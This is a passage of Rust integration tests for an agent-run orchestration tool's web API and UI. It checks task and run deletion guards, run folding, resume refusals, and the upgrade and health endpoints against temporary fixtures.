8942 assert_ne!(
8943 rev_idle, rev_started,
8944 "a seat starting must move the revision"
8945 );
8946
8947 std::thread::sleep(Duration::from_millis(10));
8948 state.seat_finished("judge-1");
8949 write_state(&runs, &state);
8950 let rev_finished = runs_revision(&runs);
8951 assert_ne!(
8952 rev_started, rev_finished,
8953 "and clearing it again must move the revision a second time"
8954 );
8955 }
8956
8957 #[tokio::test]
8958 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
8959 let fx = Fixture::start().await;
8964 let q = fx.queue();
8965
8966 let mut t = Task::new(
8967 "Task".to_owned(),
8968 "Instruction".to_owned(),
8969 PathBuf::from("/repo"),
8970 Source::Human,
8971 );
8972 t.block(
8973 vec!["20260101-000000-dead".to_owned()],
8974 Some("waiting on Task 1".to_owned()),
8975 );
8976 t.answers.push(crate::queue::AnsweredQuestion {
8977 question: "Which backend?".to_owned(),
8978 answer: "SQLite".to_owned(),
8979 });
8980 q.put(&mut t).expect("put t");
8981
8982 let res = fx.get("/api/queue").await;
8983 assert_eq!(res.status, 200);
8984 let list = res.json();
8985 let view = list
8986 .as_array()
8987 .expect("array")
8988 .iter()
8989 .find(|v| v["id"] == t.id)
8990 .expect("task in list");
8991 assert_eq!(view["status_str"], "blocked");
8992 assert_eq!(
8993 view["blocked_by"],
8994 serde_json::json!(["20260101-000000-dead"])
8995 );
8996 assert_eq!(view["block_reason"], "waiting on Task 1");
8997 assert_eq!(view["answers"][0]["question"], "Which backend?");
8998 assert_eq!(view["answers"][0]["answer"], "SQLite");
8999
9000 let res = fx
9004 .post(&format!("/api/queue/{}/hold", t.short()), None)
9005 .await;
9006 assert_eq!(res.status, 200);
9007 let held = res.json();
9008 assert_eq!(held["status_str"], "held");
9009 assert_eq!(held["blocked_by"], serde_json::json!([]));
9010 assert!(held["block_reason"].is_null());
9011 assert_eq!(held["answers"][0]["answer"], "SQLite");
9012 }
9013
9014 #[tokio::test]
9015 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
9016 let fx = Fixture::start().await;
9017 let q = fx.queue();
9018 let mk = |title: &str| {
9019 Task::new(
9020 title.to_owned(),
9021 "Instruction".to_owned(),
9022 PathBuf::from("/repo"),
9023 Source::Human,
9024 )
9025 };
9026 let mut root = mk("root");
9027 root.hold_manual(Some("waiting".to_owned()));
9028 q.put(&mut root).unwrap();
9029 let mut mid = mk("mid");
9030 mid.block(vec![root.id.clone()], None);
9031 q.put(&mut mid).unwrap();
9032 let mut leaf = mk("leaf");
9033 leaf.block(vec![mid.id.clone()], None);
9034 q.put(&mut leaf).unwrap();
9035
9036 let list = fx.get("/api/queue").await.json();
9037 let find = |id: &str| {
9038 list.as_array()
9039 .unwrap()
9040 .iter()
9041 .find(|v| v["id"] == id)
9042 .unwrap()
9043 .clone()
9044 };
9045 let leaf_view = find(&leaf.id);
9046 assert_eq!(
9047 leaf_view["waits_on"],
9048 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
9049 );
9050 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
9051 assert_eq!(
9052 find(&mid.id)["waits_on"],
9053 serde_json::json!([format!("{} (held)", root.short())])
9054 );
9055 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
9056 }
9057
9058 #[tokio::test]
9059 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
9060 let fx = Fixture::start().await;
9061 let q = fx.queue();
9062
9063 let mut t1 = Task::new(
9065 "Task 1".to_owned(),
9066 "Instruction 1".to_owned(),
9067 PathBuf::from("/repo"),
9068 Source::Human,
9069 );
9070 let run_id = "20260901-000000-r111";
9071 t1.runs.push(run_id.to_owned());
9072 write_run(&fx.runs(), run_id, RunStatus::Merged);
9073 q.put(&mut t1).expect("put t1");
9074
9075 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
9077 assert_eq!(res.status, 204);
9078 assert!(res.body.is_empty(), "204 No Content has no body");
9079 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
9080 assert!(
9081 fx.runs().join(run_id).exists(),
9082 "run directory must not be deleted when its task is deleted"
9083 );
9084
9085 let mut t2 = Task::new(
9087 "Task 2".to_owned(),
9088 "Instruction 2".to_owned(),
9089 PathBuf::from("/repo"),
9090 Source::Human,
9091 );
9092 t2.status = TaskStatus::Running;
9093 q.put(&mut t2).expect("put t2");
9094 let mut beat = crate::daemon::Status::new();
9095 beat.current = vec![crate::daemon::Current {
9096 task: t2.id.clone(),
9097 run: "20260901-000000-r222".to_owned(),
9098 }];
9099 beat.updated_at = jiff::Timestamp::now();
9100 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9101 .expect("publish a heartbeat");
9102 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
9103 assert_eq!(res.status, 409);
9104 assert!(
9105 res.json()["error"]
9106 .as_str()
9107 .unwrap()
9108 .contains("live daemon")
9109 );
9110 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
9111
9112 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
9118 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9119 .expect("leave a stale heartbeat");
9120 let mut t3 = Task::new(
9121 "Task 3".to_owned(),
9122 "Instruction 3".to_owned(),
9123 PathBuf::from("/repo"),
9124 Source::Human,
9125 );
9126 t3.status = TaskStatus::Running;
9127 q.put(&mut t3).expect("put t3");
9128 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
9129 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
9130 assert_eq!(res.status, 204);
9131 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
9132 assert!(
9133 q.claim(&t3.id).is_ok(),
9134 "the stale lock went with it, so the id is claimable again"
9135 );
9136
9137 let res = fx.delete("/api/queue/nonexistent").await;
9139 assert_eq!(res.status, 404);
9140 }
9141
9142 #[tokio::test]
9143 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
9144 let fx = Fixture::start().await;
9145 let runs = fx.runs();
9146
9147 let run_id = "20260901-000000-fold";
9149 let mut state = RunState::new(
9150 PathBuf::from("/repo"),
9151 "main".to_owned(),
9152 "abc".to_owned(),
9153 "instruction".to_owned(),
9154 Config::default(),
9155 );
9156 state.id = run_id.to_owned();
9157 state.status = RunStatus::Merged;
9158 state.candidates.push(crate::run::Candidate {
9159 index: 0,
9160 label: 'A',
9161 agent: "a".to_owned(),
9162 branch: "b".to_owned(),
9163 worktree: PathBuf::from("/w"),
9164 summary: String::new(),
9165 stat: String::new(),
9166 files: 1,
9167 commits: 1,
9168 empty: false,
9169 failed: None,
9170 verified_noop: None,
9171 duration_ms: 0,
9172 folded: true,
9173 });
9174 let dir = runs.join(run_id);
9175 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9176 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9177 .expect("write artifact");
9178 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9179 .expect("write run.json");
9180
9181 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9183 assert_eq!(res.status, 204);
9184 assert!(res.body.is_empty(), "204 has no body");
9185 assert!(!dir.exists(), "run directory and artifacts must be deleted");
9186
9187 let run_running = "20260901-000000-rung";
9192 write_run(&runs, run_running, RunStatus::Prep);
9193 let mut beat = crate::daemon::Status::new();
9194 beat.current = vec![crate::daemon::Current {
9195 task: "20260901-000000-task".to_owned(),
9196 run: run_running.to_owned(),
9197 }];
9198 beat.updated_at = jiff::Timestamp::now();
9199 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9200 .expect("publish a heartbeat");
9201 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9202 assert_eq!(res.status, 409);
9203 assert!(
9204 res.json()["error"]
9205 .as_str()
9206 .unwrap()
9207 .contains("live daemon"),
9208 "the refusal must say who is holding it"
9209 );
9210 assert!(
9211 runs.join(run_running).exists(),
9212 "a run in flight keeps its directory"
9213 );
9214
9215 let run_unfolded = "20260901-000000-unfd";
9217 let mut state2 = RunState::new(
9218 PathBuf::from("/repo"),
9219 "main".to_owned(),
9220 "abc".to_owned(),
9221 "instruction".to_owned(),
9222 Config::default(),
9223 );
9224 state2.id = run_unfolded.to_owned();
9225 state2.status = RunStatus::Ready;
9226 state2.candidates.push(crate::run::Candidate {
9227 index: 0,
9228 label: 'A',
9229 agent: "a".to_owned(),
9230 branch: "b".to_owned(),
9231 worktree: PathBuf::from("/w"),
9232 summary: String::new(),
9233 stat: String::new(),
9234 files: 1,
9235 commits: 1,
9236 empty: false,
9237 failed: None,
9238 verified_noop: None,
9239 duration_ms: 0,
9240 folded: false,
9241 });
9242 let dir2 = runs.join(run_unfolded);
9243 std::fs::create_dir_all(&dir2).expect("create dir2");
9244 std::fs::write(
9245 dir2.join("run.json"),
9246 serde_json::to_string(&state2).unwrap(),
9247 )
9248 .expect("write run.json");
9249
9250 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9251 assert_eq!(res.status, 409);
9252 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9253 assert!(dir2.exists(), "unfolded run directory is kept");
9254
9255 let res = fx.delete("/api/runs/nonexistent").await;
9257 assert_eq!(res.status, 404);
9258 }
9259
9260 #[test]
9269 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9270 let start = APP_JS
9271 .find("function renderStats() {")
9272 .expect("renderStats");
9273 let end = start
9274 + APP_JS[start..]
9275 .find("function statsTile(")
9276 .expect("the next top-level function");
9277 let body = &APP_JS[start..end];
9278
9279 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9280 let gate_end = gate_start
9281 + body[gate_start..]
9282 .find("}\n renderStatsQueue")
9283 .expect("the gate's own closing brace, right before the unconditional call");
9284 let gated = &body[gate_start..gate_end];
9285
9286 assert_eq!(
9287 body.matches("renderStatsQueue(").count(),
9288 1,
9289 "renderStats must call renderStatsQueue exactly once: {body}"
9290 );
9291 assert!(
9292 !gated.contains("renderStatsQueue"),
9293 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9294 run-derived panels on an empty run history - the queue panel has to render \
9295 regardless: {gated}"
9296 );
9297 }
9298
9299 #[test]
9300 fn web_ui_delete_contract_in_front_end() {
9301 assert!(APP_JS.contains("deleteRun:"));
9303 assert!(APP_JS.contains("deleteTask:"));
9304
9305 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9307 ..APP_JS.find("function renderRuns").unwrap()];
9308 assert!(!run_cards_slice.to_lowercase().contains("delete"));
9309
9310 assert!(APP_JS.contains("renderRunDelete"));
9312 assert!(APP_JS.contains("runDeleteReason"));
9313 assert!(APP_JS.contains("magi fold"));
9314 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9315
9316 assert!(APP_JS.contains("cancel.focus"));
9318 assert!(APP_JS.contains("armedRunDelete"));
9319 assert!(APP_JS.contains("armedDelete"));
9320
9321 assert!(APP_JS.contains("disabled: status === \"running\""));
9323 }
9324
9325 #[test]
9345 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9346 let build = APP_JS
9347 .find("function createRunCard")
9348 .expect("createRunCard exists");
9349 let update = APP_JS
9350 .find("function updateRunCard")
9351 .expect("updateRunCard exists");
9352 let end = APP_JS
9353 .find("function renderRuns")
9354 .expect("renderRuns exists");
9355
9356 let builder = &APP_JS[build..update];
9358 let open = builder.find("refs = {").expect("createRunCard sets refs");
9359 let literal = &builder[open + "refs = {".len()..];
9360 let close = literal.find('}').expect("the refs literal is closed");
9361 let published: HashSet<&str> = literal[..close]
9362 .split(',')
9363 .filter_map(|entry| entry.split(':').next())
9365 .map(str::trim)
9366 .filter(|name| !name.is_empty())
9367 .collect();
9368 assert!(
9369 published.len() > 5,
9370 "the refs literal did not parse into names: {published:?}"
9371 );
9372
9373 let mut used: Vec<&str> = Vec::new();
9376 let updaters = &APP_JS[update..end];
9377 for (at, _) in updaters.match_indices("r.") {
9378 let before = updaters[..at].chars().next_back();
9381 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9382 continue;
9383 }
9384 let rest = &updaters[at + 2..];
9385 let len = rest
9386 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9387 .unwrap_or(rest.len());
9388 if len > 0 {
9389 used.push(&rest[..len]);
9390 }
9391 }
9392 assert!(
9393 used.len() > 5,
9394 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9395 );
9396
9397 let missing: Vec<&str> = used
9398 .iter()
9399 .copied()
9400 .filter(|name| !published.contains(name))
9401 .collect();
9402 assert!(
9403 missing.is_empty(),
9404 "a run card's updater reaches for {missing:?}, which `createRunCard` \
9405 never put in `refs` - every card will throw and the list will \
9406 render empty under a count line that says otherwise. Published: \
9407 {published:?}"
9408 );
9409 }
9410
9411 #[tokio::test]
9412 async fn folding_from_the_phone_reports_what_it_removed() {
9413 let fx = Fixture::start().await;
9414 let runs = fx.runs();
9415
9416 let id = "20260901-000000-fold";
9420 write_run(&runs, id, RunStatus::Stalled);
9421 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9422 assert_eq!(res.status, 200);
9423 assert_eq!(res.json()["removed_count"], 0);
9424 assert_eq!(res.json()["run"], id);
9425 assert!(
9426 runs.join(id).exists(),
9427 "a fold keeps the run's record; only the worktrees go"
9428 );
9429 }
9430
9431 #[tokio::test]
9432 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9433 let fx = Fixture::start().await;
9434 let runs = fx.runs();
9435 let wt = fx.home.path().join("wt").join("magi").join("dead");
9436 let id = "20260901-000000-dead";
9437 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9438 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9439 std::fs::create_dir_all(&wt).expect("worktree dir");
9440
9441 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9442 assert_eq!(res.status, 200, "{}", res.body);
9443 assert!(
9444 res.json()["removed_count"].as_u64().unwrap() > 0,
9445 "the worktree this build could not read a state for still went"
9446 );
9447 assert!(
9448 !runs.join(id).exists(),
9449 "an unreadable run has no candidate list to fold selectively, so \
9450 the whole record goes - same as `magi fold` on the CLI"
9451 );
9452 }
9453
9454 #[tokio::test]
9455 async fn deleting_an_unreadable_run_removes_it_wholesale() {
9456 let fx = Fixture::start().await;
9457 let runs = fx.runs();
9458 let wt = fx.home.path().join("wt").join("magi").join("gone");
9459 let id = "20260901-000000-gone";
9460 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9461 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9462 std::fs::create_dir_all(&wt).expect("worktree dir");
9463
9464 let res = fx.delete(&format!("/api/runs/{id}")).await;
9465 assert_eq!(res.status, 204, "{}", res.body);
9466 assert!(!runs.join(id).exists(), "the broken record is gone");
9467 assert!(!wt.exists(), "its worktree is gone too");
9468 }
9469
9470 #[tokio::test]
9471 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9472 let fx = Fixture::start().await;
9473 let runs = fx.runs();
9474 let id = "20260901-000000-live";
9475 write_run(&runs, id, RunStatus::Implementing);
9476
9477 let mut beat = crate::daemon::Status::new();
9478 beat.current = vec![crate::daemon::Current {
9479 task: "20260901-000000-task".to_owned(),
9480 run: id.to_owned(),
9481 }];
9482 beat.updated_at = jiff::Timestamp::now();
9483 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9484 .expect("publish a heartbeat");
9485
9486 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9487 assert_eq!(res.status, 409);
9488 assert!(
9489 res.json()["error"]
9490 .as_str()
9491 .unwrap()
9492 .contains("live daemon"),
9493 "folding under a running agent would pull its worktree away"
9494 );
9495 }
9496
9497 #[tokio::test]
9498 async fn fold_merged_requires_a_pr_url() {
9499 let fx = Fixture::start().await;
9500 let runs = fx.runs();
9501 let id = "20260901-000000-nourl";
9502 write_run(&runs, id, RunStatus::Blocked);
9503
9504 let res = fx
9505 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9506 .await;
9507 assert_eq!(res.status, 400, "{}", res.body);
9508
9509 let blank = fx
9510 .post(
9511 &format!("/api/runs/{id}/fold-merged"),
9512 Some(r#"{"pr_url":" "}"#),
9513 )
9514 .await;
9515 assert_eq!(blank.status, 400, "{}", blank.body);
9516 }
9517
9518 #[tokio::test]
9519 async fn fold_merged_is_404_for_an_unknown_run() {
9520 let fx = Fixture::start().await;
9521 let res = fx
9522 .post(
9523 "/api/runs/nosuchrun/fold-merged",
9524 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9525 )
9526 .await;
9527 assert_eq!(res.status, 404, "{}", res.body);
9528 }
9529
9530 #[tokio::test]
9531 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9532 let fx = Fixture::start().await;
9533 let runs = fx.runs();
9534 let id = "20260901-000000-livemerge";
9535 write_run(&runs, id, RunStatus::Blocked);
9536
9537 let mut beat = crate::daemon::Status::new();
9538 beat.current = vec![crate::daemon::Current {
9539 task: "20260901-000000-task".to_owned(),
9540 run: id.to_owned(),
9541 }];
9542 beat.updated_at = jiff::Timestamp::now();
9543 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9544 .expect("publish a heartbeat");
9545
9546 let res = fx
9547 .post(
9548 &format!("/api/runs/{id}/fold-merged"),
9549 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9550 )
9551 .await;
9552 assert_eq!(res.status, 409, "{}", res.body);
9553 assert!(
9554 res.json()["error"]
9555 .as_str()
9556 .unwrap()
9557 .contains("live daemon"),
9558 "correcting a run's merge underneath a running agent would race \
9559 whatever it is doing to the same `status`/`merge` fields"
9560 );
9561 }
9562
9563 #[tokio::test]
9568 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9569 let fx = Fixture::start().await;
9570 let runs = fx.runs();
9571 let id = "20260901-000000-unconfirmed";
9572 write_run(&runs, id, RunStatus::Blocked);
9573
9574 let res = fx
9575 .post(
9576 &format!("/api/runs/{id}/fold-merged"),
9577 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9578 )
9579 .await;
9580 assert_eq!(res.status, 400, "{}", res.body);
9581 assert_eq!(
9582 read_run(&runs, id).unwrap().status,
9583 RunStatus::Blocked,
9584 "a pull request that could not be confirmed merged must leave \
9585 the run exactly where it was"
9586 );
9587 }
9588
9589 #[tokio::test]
9590 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9591 let fx = Fixture::start().await;
9592 let runs = fx.runs();
9593
9594 for (status, word) in [
9600 (RunStatus::Merged, "merged"),
9601 (RunStatus::Ready, "ready"),
9602 (RunStatus::Failed, "failed"),
9603 ] {
9604 let id = format!("20260901-000000-{}", &word[..4]);
9605 write_run(&runs, &id, status);
9606 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9607 assert_eq!(res.status, 409, "{word} must not be resumable");
9608 let err = res.json()["error"].as_str().unwrap().to_owned();
9609 assert!(err.contains(word), "the refusal names the status: {err}");
9610 }
9611
9612 let mid = "20260901-000000-midf";
9617 write_run(&runs, mid, RunStatus::Reviewing);
9618 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9619 assert_eq!(res.status, 202, "an interrupted run is resumable");
9620 }
9621
9622 #[tokio::test]
9623 async fn resume_is_refused_while_the_loop_is_running() {
9624 let fx = Fixture::start().await;
9625 let runs = fx.runs();
9626 let stalled = "20260901-000000-stal";
9627 write_run(&runs, stalled, RunStatus::Stalled);
9628
9629 let mut beat = crate::daemon::Status::new();
9633 beat.current = vec![crate::daemon::Current {
9634 task: "20260901-000000-task".to_owned(),
9635 run: "20260901-000000-othr".to_owned(),
9636 }];
9637 beat.updated_at = jiff::Timestamp::now();
9638 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9639 .expect("publish a heartbeat");
9640
9641 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9642 assert_eq!(res.status, 409);
9643 let err = res.json()["error"].as_str().unwrap().to_owned();
9644 assert!(err.contains("othr"), "it names what the loop is on: {err}");
9645 assert!(err.contains("stop it first"), "{err}");
9646 }
9647
9648 #[test]
9649 fn a_run_cannot_be_resumed_twice_at_once() {
9650 let home = TempDir::new().expect("temp home");
9651 let ui = Ui::new(
9652 Queue::at(home.path().join("queue")),
9653 Questions::at(home.path().join("questions")),
9654 Talks::at(home.path().join("talks")),
9655 home.path().join("runs"),
9656 home.path().to_path_buf(),
9657 PathBuf::from("/repo"),
9658 )
9659 .with_worktrees_root(home.path().join("wt"));
9660 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9661 let again = ui.begin_resume("20260901-000000-once");
9662 assert!(again.is_err(), "a second tap must not start a second graph");
9663 drop(first);
9664 assert!(
9665 ui.begin_resume("20260901-000000-once").is_ok(),
9666 "and the claim is released when the attempt ends"
9667 );
9668 }
9669
9670 #[test]
9671 fn talk_thinking_tracks_only_its_held_turn_claim() {
9672 let home = TempDir::new().expect("temp home");
9673 let ui = Ui::new(
9674 Queue::at(home.path().join("queue")),
9675 Questions::at(home.path().join("questions")),
9676 Talks::at(home.path().join("talks")),
9677 home.path().join("runs"),
9678 home.path().to_path_buf(),
9679 PathBuf::from("/repo"),
9680 )
9681 .with_worktrees_root(home.path().join("wt"));
9682 let id = "20260901-000000-once";
9683
9684 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9685 let turn = ui.begin_talk_turn(id).expect("claim turn");
9686 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9687 assert!(
9688 !ui.is_thinking("20260901-000000-other"),
9689 "one talk's turn does not make another talk busy"
9690 );
9691 drop(turn);
9692 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9693 }
9694
9695 #[tokio::test]
9696 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9697 let fx = Fixture::start().await;
9698 let mut beat = crate::daemon::Status::new();
9702 beat.pid = 4321;
9703 beat.updated_at = jiff::Timestamp::now();
9704 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9705 .expect("publish a heartbeat");
9706
9707 let res = fx.post("/api/upgrade", None).await;
9708 assert_eq!(res.status, 409);
9709 let err = res.json()["error"].as_str().unwrap().to_owned();
9710 assert!(err.contains("4321"), "the refusal names the owner: {err}");
9711 assert!(err.contains("old one against the same queue"), "{err}");
9712 }
9713
9714 #[test]
9721 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9722 assert!(!should_spawn_recheck(&crate::config::Update {
9723 mode: UpdateMode::Off,
9724 interval: None,
9725 }));
9726
9727 unsafe {
9730 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9731 }
9732 let killed = should_spawn_recheck(&crate::config::Update {
9733 mode: UpdateMode::Notify,
9734 interval: None,
9735 });
9736 unsafe {
9737 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9738 }
9739 assert!(
9740 !killed,
9741 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9742 one-time startup check"
9743 );
9744
9745 assert!(should_spawn_recheck(&crate::config::Update {
9746 mode: UpdateMode::Notify,
9747 interval: None,
9748 }));
9749 }
9750
9751 #[test]
9757 fn recheck_poll_period_tracks_a_short_configured_interval() {
9758 let short = crate::config::Update {
9759 mode: UpdateMode::Notify,
9760 interval: Some("1m".to_owned()),
9761 };
9762 let period = recheck_poll_period(&short);
9763 assert!(
9764 period <= Duration::from_secs(30),
9765 "a one-minute interval must wake the task far sooner than the \
9766 default ceiling, or the deck would not notice within the \
9767 interval the operator configured: got {period:?}"
9768 );
9769
9770 let default = crate::config::Update {
9771 mode: UpdateMode::Notify,
9772 interval: None,
9773 };
9774 assert_eq!(
9775 recheck_poll_period(&default),
9776 UPDATE_RECHECK_POLL_MAX,
9777 "the default day-long interval should poll at the (capped) \
9778 ceiling rather than needlessly often"
9779 );
9780 }
9781
9782 #[test]
9790 fn recheck_skips_the_network_before_the_interval_elapses() {
9791 let dir = TempDir::new().expect("temp dir");
9792 let path = dir.path().join("state.json");
9793 let state = kaishin::UpdateCheckState {
9794 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
9795 last_known_latest: None,
9796 last_known_url: None,
9797 };
9798 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
9799
9800 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
9801 assert!(
9802 !update_recheck_due(&checker, None),
9803 "a check made moments ago must not be repeated before the \
9804 configured interval elapses"
9805 );
9806 }
9807
9808 #[test]
9814 fn recheck_defers_to_an_upgrade_already_in_flight() {
9815 let dir = TempDir::new().expect("temp dir");
9816 let path = dir.path().join("state.json");
9817 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
9818 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
9819
9820 assert!(
9821 !update_recheck_due(&checker, Some(&progress)),
9822 "a recheck must not run while an upgrade this deck started is \
9823 still moving"
9824 );
9825 }
9826
9827 #[tokio::test]
9828 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
9829 unsafe {
9841 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9842 }
9843 let fx = Fixture::start().await;
9844 let res = fx.post("/api/upgrade", None).await;
9845 unsafe {
9846 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9847 }
9848 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9849 let body = res.json();
9850 assert!(body["to"].is_null(), "there was no release to move to");
9851 assert!(body["parked"].is_null(), "and nothing was parked");
9852 assert!(
9853 body["detail"]
9854 .as_str()
9855 .unwrap()
9856 .contains("disabled by MAGI_NO_AUTOUPDATE"),
9857 "{body:?}"
9858 );
9859 }
9860
9861 #[tokio::test]
9862 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
9863 let repo = TempDir::new().expect("repo dir");
9879 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9880 .expect("write magi.toml");
9881 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9882
9883 let res = fx.post("/api/upgrade", None).await;
9889 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9890 let body = res.json();
9891 assert!(body["to"].is_null(), "there was no release to move to");
9892 assert!(body["parked"].is_null(), "and nothing was parked");
9893 assert!(
9894 body["detail"]
9895 .as_str()
9896 .unwrap()
9897 .contains("nothing restarted"),
9898 "{body:?}"
9899 );
9900 }
9901
9902 #[tokio::test]
9903 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
9904 let repo = TempDir::new().expect("repo dir");
9909 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9910 .expect("write magi.toml");
9911 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9912
9913 let health = fx.get("/api/health").await.json();
9914 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
9915 assert_eq!(
9916 health["update"]["available"], false,
9917 "checking is off, which reads as \"unknown\", not \"none\""
9918 );
9919 assert!(health["update"]["to"].is_null());
9920 assert!(
9921 health["upgrade"].is_null(),
9922 "nothing has ever asked this deck to upgrade"
9923 );
9924 }
9925
9926 #[tokio::test]
9927 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
9928 let fx = Fixture::start().await;
9929 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
9930
9931 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9932 progress.parked_run = Some("20260905-000000-cd51".to_owned());
9933 progress.advance(crate::updater::Stage::Parking);
9934 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9935
9936 let health = fx.get("/api/health").await.json();
9937 assert_eq!(health["upgrade"]["stage"], "parking");
9938 assert_eq!(health["upgrade"]["from"], "0.5.1");
9939 assert_eq!(health["upgrade"]["to"], "0.5.2");
9940 let waiting_on = health["upgrade"]["waiting_on"]
9941 .as_str()
9942 .expect("waiting_on is set while parking a known run");
9943 assert!(waiting_on.contains("cd51"), "{waiting_on}");
9944 assert!(waiting_on.contains("implementing"), "{waiting_on}");
9945 }
9946
9947 #[tokio::test]
9948 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
9949 let fx = Fixture::start().await;
9950 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9951 progress.advance(crate::updater::Stage::Done);
9952 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9953
9954 let health = fx.get("/api/health").await.json();
9955 assert_eq!(health["upgrade"]["stage"], "done");
9956 assert!(
9957 health["upgrade"]["waiting_on"].is_null(),
9958 "nothing to wait on once it is done"
9959 );
9960 }
9961
9962 #[tokio::test]
9963 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
9964 let home = TempDir::new().expect("temp home");
9965 let runs = home.path().join("runs");
9966 std::fs::create_dir_all(&runs).expect("runs dir");
9967 let ui = Ui::new(
9968 Queue::at(home.path().join("queue")),
9969 Questions::at(home.path().join("questions")),
9970 Talks::at(home.path().join("talks")),
9971 runs,
9972 home.path().to_path_buf(),
9973 PathBuf::from("/repo/magi"),
9974 )
9975 .with_launch(launch_idle);
9976 let looping = ui.looping();
9977 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9978 .await
9979 .expect("bind loopback");
9980 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9981
9982 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9983 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
9984
